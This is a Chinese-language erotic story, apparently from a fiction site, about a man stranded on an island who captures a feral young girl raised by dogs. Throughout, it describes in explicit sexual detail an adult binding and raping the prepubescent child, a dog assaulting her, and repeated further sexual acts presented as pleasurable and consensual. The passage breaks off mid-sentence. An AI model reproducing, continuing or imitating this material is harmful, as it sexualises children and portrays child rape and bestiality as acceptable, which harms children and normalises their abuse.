热搜排行
荒岛女孩
「不会吧?被偷吃了?」我望着一颗巨大的石头,上面原本应该放着三四条
的鱼乾,但现在只剩下一根鱼骨头。

「大概是岛上的那群狗吃掉的。」我只好苦笑着。

我之前做生意失败欠了债,只好偷偷祕密搭船出走躲债,途中不料遇到了暴
风雨,所幸大难不死地漂到这个无人荒岛上。一般的船难大多会有人前来救援,
但我是偷渡,所以怎么样也不会有人知道我遇难。

求救无门之下,我只好一个人想办法野外求生。

所幸,这岛上还有条小小的河流,淡水的问题已解决,要不然真的会渴死。
同时,我也在岛上找到一个可避风雨的山洞,平时就拿着自製的鱼叉捕鱼,倒也
赖活了几个星期。

原本我把吃不完的鱼用自製的海盐腌製,然后埋入土里藏着,但实在是太鹹
了。后来考虑把鱼烤成乾来保存,不过太耗柴火了。最省力的作法是晒成乾当成
存粮,没想到才出去捕鱼一回来,却全都被野狗吃光。

肚子饿得慌的我只好拖着疲惫的身体捡了些木材升了火,把今天的鱼获烤了
烤,一边吃着,一边心想,是不是要弄个陷阱抓一两只野狗。一方面驯服了之后
可以帮忙打猎,或者做香肉来吃也不错。

※※※※※※※※※※※※

当我正在盯着一条鱼,準备丢出鱼叉时,传来了一阵声音。

「叮叮咚咚……」那是我前一天布置的陷阱,中空的竹子互相碰撞产生的声
音。

我连忙回到岛上,仔细一看,却让我吃了一惊。

原本应该要有野狗的地方,却有一个全身赤裸的小女孩倒吊着。

「呜呜……汪汪……呜汪……」她的表情惊恐地叫着狗叫声。她的右脚踝被
麻绳给束住吊在半空中,剩下左脚与双手不断的乱挥着。

「这是怎么回事?」我自言自语。我记得在刚来这个岛上的时候,就已经绕
了岛一圈了,什么人也没看到,也没有住家。那这个小女孩到底是从那边冒出来
的呢?

我看着这个学狗叫的小女孩,困惑了。她的皮肤又黑又髒,她的头髮因为倒
吊像条破布而垂着。两手两脚污黑得像是条木炭,可以说比我看过的任何一个野
孩子还要野的样子。更奇怪的是……

「汪……呜……汪汪汪汪……」这个小女孩怎么一直叫着狗叫声?难道是?
难道是所谓的动物养大的小孩?

我听过有狼养大的小孩,不能说话,动作都跟狼一样。仔细看,还真的是这
样。

我慢慢把绳子放下来,倒吊的小女孩这时才降到地面上。她翻个身,用四肢
着地的方式伏在地上。

小女孩却不解开脚上的绳子,对着我四肢伏地。「汪汪汪汪……」一阵狂吠
着。

「汪……汪……」附近的野狗也跟着小女孩的吠叫声一起吠着。只是因为害
怕我又不敢靠近。

我说啊,狗毕竟是狗,看到人只敢在远远的在旁边吠叫,不敢过来咬我。

而小女孩因为脚被束着而无法跑走,她抬起被绑的那只脚,甩着脚想把麻绳
给甩掉,一边对着我狂叫着。

「不会吧?真的笨成这样,连解绳子也不会解?」

小女孩看我没有进一步动作,停止了吠叫,用嘴巴咬着麻绳想把它给扯断。

「呜……呜……」她低吼着,被麻绳牵制的感觉让她不愉快。她左右摇晃着
头用力咬扯着缠在脚踝上的麻绳。

这时我仔细地打量她。凌乱的黑髮垂在两旁。瘦弱的背上明显可见的背脊。
小屁股略为削瘦没有小女孩该有的丰润。肋骨一条一条地显出她的消瘦,乳房则
完全没发育,只见两个小乳头微微的凸起。

虽然小女孩这样营养不良而骨瘦如柴,所幸两条小腿之间的光滑地阴阜上仍
存留着肉感,上面的小缝还有嫩红色泽。

「唔……」我吞了口口水。怎么回事?在酒店里面混过大风大浪,什么样的
女人都见过的我怎么会去注意这乾乾扁扁的小女孩的私处?

难道是这一阵子憋坏了,母猪赛貂婵?让我对这方面的需求极为渴望?所以
让我成为一个变态萝莉控吗?

「啪啪啪……」我打了自己几下耳光。这时才冷静了下来。

「乖!」我蹲了下来,让自己的身高与小女孩同高。

「不要动,我帮你解开。」我手刚才伸了过去,那小女孩就害怕地后退了。

「不要怕不要怕……」我两手打开,慢慢的接近她。而她看到我的接近,不
断的后退,最后被绳子限制住而停住。

看到她无法后退的样子,我手一抓想要抓住她的肩膀,但小女孩竟然一转眼
就躲开了,逃到我的侧边去。

怎么回事?小女孩的动作怎么这么快?

我心想,这下子得用强的。我伸出手,左手一抓,右手一抓,但她像是鳗鱼
一样的灵活地逃开来。最后,总算抓住她的一只手了。

我右手握着她的手臂,被抓住的她却害怕地哇哇大叫着,不断地扭着,想要
挣脱我。

不料,我的手臂被她咬了一下。「啊……」我吃痛连忙放手。

手臂上的咬痕,慢慢的渗出血来,我大吃一惊,身子后退了几步。「妳怎么
咬我?我好心要帮你解开耶!」怒气一起,我决心要教训一下这个小女孩。

我心一横,把绑在她脚上绳子用力一拉。原本四肢着地的她重心不稳被翻了
个身,接着我趁她一不注意时,就用身体把她压制在地上。

「呜哇……呜哇……」突然被压制的她不断地扭动挣扎。两手挥舞着,不断
的在我身上抓下一道道的爪痕。

我忍着被抓的疼痛,把她的两手抓住并且扭在她背后,接着把她脚上的绳子
解下,再用绳子把她的两手反绑。

小女孩只能踢着两条光光的腿,低吼着摆动头想咬我。「呜……吼呜……汪
汪汪……」

我看着不断扭动的她,并且问了各种不同的问题。

「妳是谁?」

「汪汪汪……」

「从那里来?」

「呜汪汪汪……」

「这里还有其它人吗?」

「汪汪汪……」

无论怎么问,她都只会学狗叫。

不会用两脚走路的她,由于两手反绑,只能用两脚站起。但她却又不平衡地
倒下来。

怕她受伤的我又伸手扶了她一下。她笨拙地摇摇摆摆的样子,让我觉得她虽
然野,仍然还表现出小女孩的可爱。心想,养一只这样的小动物也不错,至少在
岛上不会无聊。

下定决心的我,拿出当鱼饵用的鱼乾,在小女孩面前扬了扬。

小女孩眼睛直盯着我手上的鱼乾,停止了吠叫。

「嘿嘿……妳果然抗拒不了食物的诱惑。」我一边微笑着,一边伸手把鱼乾
靠近她鼻子。

她看了看鱼乾,嗅了嗅味道,又抬起头看着我。被反绑的两肩两手扭动,但
是我绑得很紧,根本不可能挣脱。
此时,小女孩肚子发出了咕噜咕噜的声音。也许刚才太耗体力了,或许鱼乾
的味道让她肚子饿。但她仍然不敢去咬,两眼仍然惊恐地瞪着我。

我只好把鱼乾放在地上,往后退了一边。

她肯定是饿坏了,我才退个几步,她头一转,嘴一张,鱼乾就被她一口咬过
去。

她狼吞虎嚥的样子让我笑了。等她吞完,我又拿了一块鱼乾在她眼前晃着。
已经尝过鱼乾的她对鱼乾的渴望又更强了。

这次她直接把我手上的鱼乾用嘴咬了过去。

我把身上所有能吃的东西都拿了出来,比较大的鱼乾就帮她用牙齿撕开成小
块一块一块的餵给她。

而她也因为食物的关係,没有之前那种仇视的眼光,只是专心地吃着。看来
她已经被收买了。

她的身体布着大大小小的咬痕,想必是跟那些狗兄狗弟互相咬出来的。我看
着她的身体,不由得伸手触碰了一下她的背。

正在吃着鱼乾的她,身子突然缩紧了一下,头转过来看着我,停止了进食。

她髒乱的脸上,有着一对水汪汪的大眼睛,这时候我心想,如果这个小女孩
洗乾净穿上漂亮衣服,应该会成为一只可爱的小萝莉。

她看我并没有恶意,也没有伤害她的动作,便又开始吃起鱼乾。而我也就继
续的伸手触摸她,之后她就没有之前的反应继续吃着鱼乾,也慢慢习惯于我的触
摸。

我用手轻轻抚摸着她的背,虽然上面沾满尘土,也有些疤痕,不过肌肤还是
有着小女孩该有的柔软。摸着摸着,就顺便触及她的胸部。但她没有抗拒。似乎
她脑中并没有羞耻的概念。

也许是营养不良,小女孩胸部小得可怜,摸起来没有脂肪的柔软感。她的乳
房不同于成熟的女性有着特别的弹性,我想日后应该会有所成长。摸着摸着,竟
然发现那粉粉的小乳头立了起来。

原来小女孩的乳头也会立起,这倒是我以前都没听过的事。

接下来,我的手慢慢的接近她的两腿间。

她小屁股很结实,虽然瘦弱但臀部的肌肉还是有着一定的发育。

满脑子慾望的我,不客气地往她两腿之间摸下去,她突然身子紧缩了一下,
扭转着身体,抬起头看着我。

她两眼显露着害怕的表情,好像知道了我的意图,转身把屁股转向远离我的
方向。但已经双手被绑的她再怎么转角度,我的手还是可以随意地触摸到她的阴
部。

她的身子转了几下就停止反抗,反而她的身体轻轻的触碰我的手。并且把她
的小屁股翘起来,让她的阴阜展现开来。

当我的手碰触到她的阴唇时,她反而把屁股抬得更高,并且调整角度让阴阜
能靠上我的手指。

怎么?这到底是怎么回事?

一个啥也不知道,动作跟狗一样的小女孩,竟然会懂得性方面的知识?知道
我要摸她的私处,甚至知道让我更容易的角度来猥亵,这是人的本能吗?

原本我以为有小孩应该就会有成人在岛上,但就现在的状况看来,她应该是
真的类似狼养大的那种小孩吧?原本希望岛上有其它人可以把我送回去的希望也
落空。

我再摸摸她两腿间,她仍然还是翘高屁股,让我摸来摸去。

她的阴阜上面细细的汗毛,触感软软的像是天鹅绒。就我在酒店里面玩的经
验,也从来没碰过这样光滑的幼屄,顶多只是故意剃光装白虎。

而且小女孩的小阴唇还很光滑,粉粉嫩嫩又小小的还没有皱纹。跟我以前看
到的两片大大的露出来就有着网状皱纹的老阴唇有着不同的风味。

手指在她的肉缝中翻搅,手指竟然感觉有些潮湿。我小心的拨开盖在阴蒂上
的小皮,用指腹轻轻的一点。「啊……」她的身体随之震动一下。

这个反应说明了我在酒店学到的指功,在这小女孩身上也可以奏效。

于是我肆无忌惮地把中指伸进她的蜜穴,进入两三指节深时轻触着十二点钟
方向,就是俗称的G点。大拇指则沾湿轻点着她的阴蒂。

「啊……啊……呜哇……」两手被反绑的小女孩,任凭我对她上下其手。虽
然之前是汪汪地学着狗叫,但对于呻吟的声音,倒是与一般女人相似。

她髒污的脸蛋透出着一点潮红,小口微张地喘着气,每当我触及那因充血而
充满弹性的小蒂,身子就一阵地颤抖,两只小腿同步地蜷曲着。

有人说微笑是人类共通的语言,淫叫声也是呀。听了真叫人受不了。

淫心已起的我把她两脚打开来,让她的肉穴更能显露出来。手指玩不够,便
用舌头去舔它。

小小的红荳晶莹剔透像颗红玉髓,当我低头时闻到股类似小鱼乾的腥味。也
许小女孩并没有专门洗过吧?这个味道却让我更为兴奋。我用舌尖或左右,或上
下地用围绕它舔着。

不知不觉,粉红的小穴口渐渐流出了透明的蜜液。当舌头舔过,带着鹹味的
感觉直冲脑门。

像这么小的小女孩,发育还未完全,但身体的反应可是跟成年的女性相差无
几。难怪中国古代这么多的文人雅士如苏东坡、欧阳修之流着有这种爱好。

虽说「人为丝轻哪忍折,莺怜枝嫩不堪吟,留取待春深。」但我在文明世界
欠了巨额债务,而在这个荒岛上也不见得有下一顿温饱。任何的法律对我来说形
同无物了。我已经是没有明天的人,现在就要「有花堪折直须折」了,那还等春
深?

我脱了裤子,把直挺挺的肉棒就对着湿淋淋的小穴。龟头才一顶到,热呼呼
的蜜液就全沾上去。我左右上下的磨擦着穴口,充份让它湿润,以便能一路滑进
去。

我把她两腿往上一抬,让她的小穴微微张开。等龟头一对準,就施力挺进。

当龟头抵在阴道口施力挤进去时,她才发觉到我的目的,连忙扭动着身体,
想躲开阴茎的刺入。「呜……吼……」她一边扭动一边嘶吼着。

但是一个成年男子的力道是很大的,尤其又是在精虫沖脑的时候。我用力地
压制住她,轻易的对準她的阴道口。

因为小穴口已经湿润,在她的小穴口前虽然有感觉到阻力,但只要再加一点
力,突破阻力点之后,阻力顿减便一路直送到底。

「唔……嗷~~」当阴茎直入时,小女孩全身紧绷着,发出了抗议的声音。

她大概没有接受过这么大的阴茎,身体扭动着想后退,但是我死狠狠的压着
她,拉开她的大腿。

她身体的扭动,不过是让已经插入的阴茎更是磨擦她的阴道壁。她的表情,
像是受惊的小鸟,「啊呜……啊呜……」哀鸣着。

已经到口的肥肉,那还能吐出来?已经插进去的肉穴,又怎么可能拔出来?
虽然她哀叫着,但我已经陷入疯狂的状态,毫不留情地不断抽插着。

里面的蜜汁热呼呼一股一股地泊泊而出,让原本已经火热的肉棒更为烧灼。
润滑的肉壁,一环一环地收缩着,紧箍着。

「啊……啊……啊……嗯啊……」也许是阴道原本就很滑,或者熟知女体的
我知道怎么样攻击她的敏感点。原本在痛苦得想逃离我的她,变成了在淫叫的小
女孩。

儘管每个地方的女人说不一样的语言,但在性交时,仍然叫出同样的声音,
这也就是人类最自然的表现吧?

小女孩扭动着她的腰,似乎已经兴奋得不由自主配合着我的动作。

「啊……」她叫了一声之后,随即停住叫声,身子僵硬颤抖着。小穴一下又
一下地收缩,肚子上的腹肌也随之僵硬。

龟头处传来一次又一次的吸吮感,不由得我精关不守,用力向内深深一顶,
喷发了出来。

「喔……」肉棒喷发时,又带动着小穴的收缩,小穴的收缩又促使我一缩精
液又喷了一下。就这样一缩一喷一缩一喷,竟然配合着四五次才停止。

射精完了,这时我的理智才恢复。看着一个小女孩光溜溜地躺着,两手被反
绑,一边喘着气,一边小穴中还慢慢地流出红色与白色混合的液体。这时我才警
觉到自己做了什么好事。

我连忙把小女孩的双手解开。她这时也清醒过来,四肢发抖着,一跛一跛地
向前爬移。

也许是小女孩刚过高潮而余韵未散,她的腿竟然发软,两膝又跪了下来。我
眼见她似乎力脱而无力,连忙用手扶起。

但没想到我一不注意,又被她咬了一下,这痛感让我不得不放手。

我一放手,她就迅速地用四肢着地的方式奔跑,一溜烟就到了树林的边界。
她停了步,转头望着我,过了十几秒便躲进树林里的阴暗处消失了。

我望着空无一人的四周,只剩下「啾啾」的鸟鸣声。回想刚才的事,像是作
梦,但低头一看,手上的咬痕仍在,还有着一丝丝的痛觉。

这是真的,不是我一个人闷在岛上发疯产生的幻觉。

※※※※※※※※※※※※

经过这一次的事情,我满脑子都是要找出那个小女孩的念头。但在树林中却
很难发现她蹤影,只能在听到远处的狗群嚎叫时隐隐约约地分辨出小女孩的声音
夹杂其中。

虽然在初到这个岛上时已经大略地走完一圈,但一个女孩子藏身在岛上竟然
没发现,这就代表着我还有很多地方没有到过。如果能找到她的巢穴,说不定就
可以增进两人的关係,彼此合作分劳增加活下来的机会。

于是,我下定了决心,我要走入茂密的森林深处。

就这样,找了三天,在第四天的时候,我发现了一个四人座小飞机的残骸。
上面爬满了爬籐与杂草,看来已经过了很久。我猜想是飞机失事的残骸,也许里
面会有一些可以利用的工具。但我走进一看,飞机上的东西都已经被拆光,只剩
一个生鏽的空壳子。

正当我大失所望的时候,我突然想到,如果飞机上的东西被拆下,那么就表
示有人,毕竟飞机失事若是即时死亡,那么就不会有人去拆这些椅子、无线电等
等的东西了。而且,像这样的小女孩应该也不知道怎么去拆卸,一定是有大人的
存在。

想到这里,我就振作精神,虽然没找到小女孩,也许可以找到其他人。

走着走着,终于过了两天,我发现了一个山洞。

爬进山洞,里面果然发现了飞机的座椅,还有几件衣服与睡袋,也有刀子斧
头等等工具。布满了灰尘。

这下子我大获至宝,因为这些可是野外生存的工具。就算是一块塑胶布,但
它可以铺在坑洞中当储水坑。斧头可以劈材砍木,我就不用这么可怜的捡树枝生
火,而且可以在我的山洞口加个木门,风吹雨打就更不怕了。

在山洞里面翻东翻西的时候,发现了一本笔记簿子,字迹被雨打湿看不太出
来,但里面夹着一张做了护贝的照片。仔细一看,是一个对男女的合照,但这个
女人长得有点像那个小女孩。我想,应该是那个小狗娃的母亲吧?

此时我心中有了疑问。

飞机不比渔船,起飞昇降都要经过登记申请,而且飞机坠落这里,应该也会
有人来搜救,怎么会放任他们在这里野外求生?

我一边想着事,一边拿取我需要的工具。眼看太阳即将下山,到时候又得走
夜路。

这时,传来了狗的嚎叫声。其中夹杂了小女孩的声音。

我觉得不对劲,小女孩的声音中听起来夹杂着不安的情绪。我便想搞清楚状
况,顺手拿了山洞里面的望远镜,走出山洞往高处走去,我朝着放眼望去,远远
的看到一群狗。

再仔细一看,才发现小女孩躲在树荫后面,被一大群的狗围绕着。

我拿起望远镜,才看清楚状况。其中一只高壮的大型黑色野狗正逼近她,而
害怕的她不住的后退。

小女孩不住的往后躲闪,但大黑狗张着嘴露出白森森的牙,似乎只要不高兴
就会往她身上咬下。

她被逼到树旁无法后退时,大黑狗突然把前爪搭在小女孩的腰上,又红又尖
的狗根勃起得老高,在她光滑的屁股上顶来顶去,寻找着可以进入的洞穴。

她扭动着身体向前爬,但是牠的前爪牢牢的抓在她背上,挣脱不得。

她惊恐的眼神,就如同上次我强姦她一样。我这时发觉,我之前的行为其实
跟那只公狗相差无几。

我要冲过去救她吗?以距离来讲,如果我用跑的话,大概也要五分锺吧?

放下所有工具,我拿了根棍子,飞奔而去。

等我到达时,大黑狗早已插入了,两前爪搭在小女孩的背上,使劲地扭动腰
一直住小女孩的屁股顶着。而旁边七八只的野狗都在围观着。

狗是属于那种不介意在别人面前性交的动物。

那群野狗们看到我冲过来,对我「呜呜呜」地露齿低吼着,但我完全不怕,
一桿就往最前面那只狗敲下。

「噢呜噢呜……」果然狗群随之而散,真是不够忠心,狗老大在干炮,狗小
弟反而逃命而去。

只剩下我、小女孩、大黑狗二人一狗在场。

但大黑狗似乎没有要离开的迹象,而且牠的狗茎已经牢牢的卡在小女孩的小
穴里面了。

我开始考虑到,要是我惊动了,大黑狗硬把狗茎拔出,难免让小女孩受伤。
我只能在旁边看着,不敢近身。

那只大黑狗看到我不敢靠近,又开始了快速抽送动作。两只大眼看着我张开
白森森的大牙,舌头伸出喘着气。

而小女孩一动也不敢动,任凭那只大黑狗予取予求,猛力插送。似乎她已经
习惯了这样的事。

天呀?难道这个小女孩以前就是这样过活的吗?不行,我一定不能让这事发
生。但……我该怎么做呢?

「嗯……嗯……」小女孩发出了声音,这时我才从思考中回来。

先不说人兽交、道德之类的事。小女孩似乎没有了惊恐表情,只是闭着眼,
不时的扭着腰。然后轻声地哼着。
发现了山洞之后,我翻遍了里面的工具,一个一个地拿到自己的山洞来。

有了工具,我生存的机会就更大了。尤其是有斧头就可以做更多的事。

这一天,我正努力地製作储藏食物的仓库。用岛上的竹子编成个大笼子固定
在椰子树上。然后把泥士跟打碎的乾草搅拌成泥状涂在笼子上。再接下来树干的
地方钉上挡鼠板,就大功告成了。比埋土里面还要乾燥不易坏。

正在欣赏自己的杰作时,听到小女孩的哀鸣声。「噢呜!」

虽然是学狗叫,但是我还是听得出来,那绝对是那只小狗娃的声音。

声音中带着痛苦的感觉,让我直觉出了事,于是我放下了工作,想要去看看
究竟。

我寻着声音的方向,一路走去。发现小女孩躺在地上,全身多处擦伤,但看
她的左手软软垂下的样子,肯定是脱臼了。

他们肯定是为了争食物而打架。小女孩嘴里咬着半只被扯开的兔子,但其它
的狗围着她,想要抢走食物。

其中一只狗靠近她,咬住她嘴里的兔子便往后拉扯,小女孩也不愿意放手,
只好像拔河一样的拉着。由于小女孩受伤,竟然被那只狗拖行着。

小女孩伸出手想要使力,但身体的疼痛让她无法与狗群抗衡,两眼流着泪,
哭出声来。眼见那块兔肉一块一块地被扯咬掉。

狗跟人相争,当然我要袒护的是人。我拾起了木棒,走过去把狗赶走。

狗对食物的执着非常的深,我用木棒打了两三只狗,才吓退了狗群。小女孩
看到我的接近,似乎害怕我要抢她的食物,起身用两脚一手一跛一跛地后退,并
且发出了「呜呜」的低吼声。她垂着左手,想必非常的疼痛,但是仍然守着自己
所剩无几食物不放。

「别怕……」我轻声地说着,并且蹲低身体,让自己与她同高。

我拿出烤过的鱼乾,咬下一块,并且放在她面前让她闻到味道。

她看到我拿出食物来,才降低了戒心。走进嗅了嗅鱼乾,毕竟这个味道比起
血淋淋的兔子来说香多了。

她终于放下了兔肉,吃起鱼乾了来。我这时才得以靠近,摸摸她的头,并且
查看她的左手。

但当我拉着她的左手时,她疼痛地叫着。「啊呜啊呜……」想要后退,却因
为左手拉扯而更为疼痛。

「不要乱动。」我说完,把她压住,仔细的检查,摸了摸骨头并没有发现骨
折的现象。

右脚踏在她腋下,两手抓住她的手腕,拉着手转动转动,「啊……呜啊……
呜……」她痛得大叫。但我不停手,继续左右转动着,过了十秒「喀」一声,脱
臼的骨头才归回原位。

这一招是跟一个习惯性肩膀脱臼的同学学的,他每一次脱臼都是让我给复位
的。也多亏了会这一招,小女孩疼痛减轻,脸上的表情不再痛苦。也没有继续哭
叫了。

我把她的手放开,小女孩仍然抽嚥着,红肿地两眼流着眼泪。我摸摸她的头
安抚着,「乖,别哭,已经没事了。」

她轻轻地活动着她的左手,发觉没有之前那么疼痛,便鬆了一口气,全身瘫
软在我身上。也许是之前太过于紧张,气力已然用完,或者她已经可以信任我,
毕竟我没有趁人之危抢她的食物。

脱臼刚复位是不能做使力的工作,我决定把小女孩带回我的山洞照顾。把剩
下的鱼乾让她咬住,两手把她抱起。
小女孩软软的靠在我身上,用舌头舔着我的脸,表示她的善意。

就这样一路抱着她走向我住的山洞,把她放在我平常在睡的草堆上。

我拿了一个木杓子到门口一个黑色的木槽中取了温水。这木槽是我自製的。
砍倒一颗树,在树干中心挖空,并且用烟燻黑,内盛一些溪水,让太阳的光来加
热水,这样一来我在黄昏的时候不用升火就有热水可以擦澡。

我回到山洞里面,拿了一块天然海绵,沾了沾温水,便帮小女孩清理皮肤上
的擦伤。

「嗯……啊……」小女孩因为疼痛,而闪躲我的擦拭,发出了抗议的声音。

「乖……」我摸摸了她的头髮,拍着她的背,让她安心。「忍耐一下,伤口
髒髒的话是好不了的,还会发炎。」

她似乎听懂了我的话,乖乖的坐好,让我继续擦着她的伤口。我把上面的沙
粒清乾净后,由于没有药可以擦,便拿之前烧火之后的残灰撒上让它加速凝血结
痂。

等我处理好之后,才发现她看着我流着泪,看来我之前的处理是很痛的。

我擦了擦她脸上的泪水,轻轻地抱着她。这时,她才「哇……」哭出声来。

她总归还是个人类,这时的哭声就是一般小女孩的哭声,而不是小狗的哀叫
声。也许是因为我的出现,让她有身为人的自觉吧?

我拍着她的背,试图安慰她,「好了,没事了……」一边说着,一边让她靠
在我的身上。

就这样哭了一阵,小女孩终于停止,只剩下抽咽的声音。我放开了小女孩,
才发现自己身上满是灰土。

原来是小女孩身上的尘土沾到我身上了。我拿着海绵沾了剩下的温水,轻轻
的擦拭她的身体,把她身上乌黑的污垢慢慢的擦掉。

我用手刷着她的背,把她身上的污垢给擦下来。

小女孩的乳房小小的,软软又挺挺,我一边洗着,不知不觉自己已经兴奋地
勃起。虽然她原本皮肤就被太阳晒得很黑,但过不了多久,仍然可以感觉到小女
孩全身洗过之后较为白净些。

至于乱得像拖把的头髮,也一一地被我仔细抚平。我一边轻轻地梳理着她的
头髮,一边看着她的小脸蛋。

她圆滚滚地两眼望着我,十分地可爱,不知不觉,我忍不住就亲了她的小嘴
唇一下。

「唔?」她舔着自己的嘴唇,露出了疑惑的表情,似乎并不懂亲吻的意思。

我又把脸靠近,亲了一下她的嘴唇。但她反而用舌头舔着我的嘴唇。也许是
因为她与那些狗兄狗弟们都是这样舔来舔去的吧?

我轻轻地抚摸着她的背,让她靠在我身上。她小小软软的身子,摸起来很舒
服。不知不觉得就摸到了她两腿间。

这时我才想到,之前没洗这里,真是粗心呀。

我用手指拨弄了她的小细缝,只有有少许泥土附着,我轻轻的把它拨开,用
海绵轻轻的把泥灰擦下。

当我触碰到她粉红色的小肉唇时,「嗯……」小女孩两眼迷茫地叫出人类该
有的声音。

「很舒服吗?」我一边说着,一边轻轻地点着那泛着红宝石光泽的阴核。想
起之前第一次见面的时候,就是这样摸着它。而她也有着与当时同样的反应,把
两脚打开,让我更容易抚摸。

我脑海中想起了她与那只大黑狗的交配的画面。大黑狗把通红的狗茎给完全
插入,卡在小女孩的阴道中。也许就是这样她学会了性交,同时也从与狗兽交的
经验中知道了性交的感觉,这让她的反应不像是个处女。但是狗的阴茎又比人的
阴茎还要细,当我那次与她性交时,才会有着出血的现象。

一个小女孩无人依靠,与一群狗生活在一起实属不易。但她的反应,让我有
着一种想法,难道靠着与狗性交的方法来跟那群狗交换食物?也许吧?要不然狗
又怎么会把她当同伴看呢?

天呀,这个小女孩到底是怎么活下来的?我想到这里,心里不禁起了怜惜之
心,轻轻地抱着她,下定决心至少要在这个岛上保护她。

我抚摸着小女孩柔软的身躯。小女孩也舔舐着我的脸作为回应。

她就像一只怀中的小猫,在我身上嗅着,舔着,做着撒娇的动作。接着又在
我身上磨蹭,偶而还把阴部在我的手臂上磨擦着。

不知不觉本来软下来的阴茎又硬了起来顶在她的身上。她察觉我的下体有着
奇怪的变化。

「嗯?」小女孩有了奇怪的表情。

她用鼻子嗅了嗅,在阴茎搭起的帐棚上舔着。这个东西的味道似乎让她很有
兴趣。

「别舔了,你会把我的裤子弄髒的。」我脱下了裤子,让坚挺的肉棒高高的
立起在她面前。勃起的阴茎随着我的心跳下微微的跳动着。

她似乎觉得疑惑,虽然她看过狗茎,但人的阴茎形状与狗不同。

我指着自己的阴茎。「阴茎。」

「印轻?」小女孩发着不正确的音。

「阴茎。」我又说了一次。

「阴清。」

「阴茎。」

「阴茎。」这一次她说得很标準。

「水啦!」不知不觉某个加了微生素的碳酸饮料广告台词脱口而出。

只是,小女孩听不懂,只是傻傻地看着我。

她好奇地摸了摸龟头,也许是因为她习惯于用舌头舔同伴,伸出舌头就舔着
龟头。

「好棒。」我摸了摸她的头。

受到夸奖的她舔得更为起劲,已经很久没有开荤的我,竟然忍不住一下子就
射精了。

白色的精液一股一股的喷得老高,淋在她的脸上,也有一些是掉在我的大腿
上。

她被吓了一跳,用满脸精液的脸望着我。

我笑了笑,中指沾了沾精液:「精液。」

「精液?」不知道她是不是语言天才,这一次竟然学得很标準。

「精液。」我又说了一次,这一次用舌头舔了一下手指。只不过,我舔的是
没有沾到精液的食指。

她看到我舔的动作,好奇地舔着在我大腿上的精液。大概这个腥味合她的胃
口,不一会儿,她就舔得乾乾净净的。

她抬起头,还不忘用她的笑容说一句。「精液。」她说完还用舌头舔了一下
自己的嘴唇。

「躺下来,换我帮你舔。」我让她躺着,打开她的两腿,让她的小肉缝展开
来。

我心里很清楚,这对狗来说,把肚皮这个弱点露给地位高的狗或人是一种臣
服的动作。这也显示,我是真正在她心中建立起地位来了。

我摸了摸她的小肉缝,在两片小肉唇的掩盖下,有一颗光滑的粉红色珍珠。
由于小穴的湿润,那珍珠反射着水光。
两手把盖在外面的皮往后拉,那个粉红色的小珠子完全露了出来。我用舌头
轻轻的舔着,顿时,她轻轻地哼出了声音。

「嗯哼……」她的腰扭动着,肚子上的肌肉明显地收缩。小肉穴口冒出了蜜
汁,一股鹹味充塞在我的口腔中。

我知道湿润已经够了,便把自已的阴茎在小穴口上抹着,就这样滑进去了。

「嗯啊……」就在滑进去的时候,她发出了愉悦的声音。

她两手搭在我肩上,由于小女孩身体娇小,我两手往她臀部一托,就把她给
抱起了。她因为害怕跌下去而两手紧紧抓着我颈后,身子紧贴在我身上,两脚往
后钩着我的腰,呈现着腾空的状态。

这个姿势在日本人的称呼,叫做火车便当。只有娇小的女生或者是强壮的男
生才可以做出这样的体位。刚好小女孩很瘦小,我轻易地就可以把小女孩抱着。

我用两手托着她的屁股,轻轻的把她的身子一点一点地降下,她的小穴因为
体重而深深的含入肉棒。

我开始上下的抽动起来,「呜……啊……」小女孩的吟叫声跟随着身体的上
下的节奏。

她似乎觉得很舒服,眼泪从眼角渗出,两眼瞇矇地不知道在看何方,小口微
张喘着气,口水从嘴角流出。「啊……啊……」地叫着。

肉棒在她的阴道中,觉得愈来感紧缩,快感布满我全身,毛孔都充塞着酥麻
感。我紧紧的抱着她,加速起冲刺。「啪啪啪啪啪……」看着她的红晕的脸颊,
不由得加大了速度与力道,两人皮肤互啪的声音愈来愈大声。

「嗯嗯嗯嗯……」随着频率的增加,小女孩断断续续的呻吟着。

觉得她的阴道愈来愈缩紧,而摩擦的刺激感愈来愈强,最后她全身上下都紧
缩着。

「呼……呼……」她喘着气,两手紧抓着我,两脚也蜷曲抖动着紧紧的钩着
我的腰,从两人相贴的腹部可以感受到她的小腹一阵又一阵的收缩着。

我不由得精关不守,一股又一股的喷进了小女孩的深处。而每射出一股精都
感受到小穴里面不断的吸吮,似乎要把我的精液一滴不剩地吞进子宫内部。

过了十几秒,小女孩才从紧缩的状态下放鬆,全身瘫软地靠在我身上。

大概是因为太累,没过了一会儿便睡着了。她的睡脸跟一般小女孩无异,怎
么也看不出她是个只知道汪汪叫的狗娃儿。

看着她安祥的睡相,我也跟着觉得疲累地睡着了。

※※※※※※※※※※※※

隔天早上,我感觉下体一个湿湿的东西滑来滑去。醒过来一看,原来是小女
孩在舔我的阴茎。

她好像仍然不知足地用她软软的身体在我怀中蹭来蹭去,两只腿夹着我的身
体做着磨擦的动作。

我不由自主的勃起了。一翻身,就把她压在身下。虽然昨晚的痕迹已乾涸在
她的大腿上,但小穴仍然湿润地欢迎我随时进入的样子。

我不客气地张开了她的双腿,舌头直接就来品嚐她神祕的小核。小女孩的尿
味微微地鹹腥,但不妨害我的兴致。

「嗯……喔……」她发出了愉悦的声音,扭动着腰,而我的舌头更是轻柔地
在她的小核上划着圈圈。

经过昨天晚上的经验,她的小手便自动自发地抓向我的阴茎,我了解她的意
思,便以69式的体位跨在她身上,把她两腿打得更开,两手则把她的阴蒂包皮
拉开,让她的那个红透晶莹的小荳荳露出更多部分,舌头则轻轻地在它的边缘处
舔着。

她则含着我的肉棒。但她才舔了几下,便又呻吟出来,舒服地忘了继续舔下
去。

小穴口不断地泊泊冒出带着鹹味的液体,味道从舌尖一路充塞到口腔中。她
突然全身紧缩着,一只手紧紧的握住我的肉棒,另一只手则发抖着蜷曲在她的胸
前。身体往后弓曲,两脚僵硬发抖着。

「呜……」她口里发出紧噎的声音,小穴中突然一股液体泊泊冒出,正喷向
我的口中。不会吧?失禁了吗?我心想,如果尿出来的话,之前辛苦晒乾的乾草
堆会被弄湿,连忙用口接住,就这样她的蜜汁一股股的灌入嘴巴里。

就这样喷发了几次,她才全身瘫软下来,两眼无神地看着上方。我起身看着
她红嫩的脸蛋,不由得又硬了。把全身瘫软的她两腿分开,肉棒就这样滑进了她
的阴道内。

「嗯……」也许高潮过后的她太过敏感了,在插入的当时她发出了抗议的声
音,两手也推着我想要阻止我的插入。不过她的力气太小了,而我则太过兴奋,
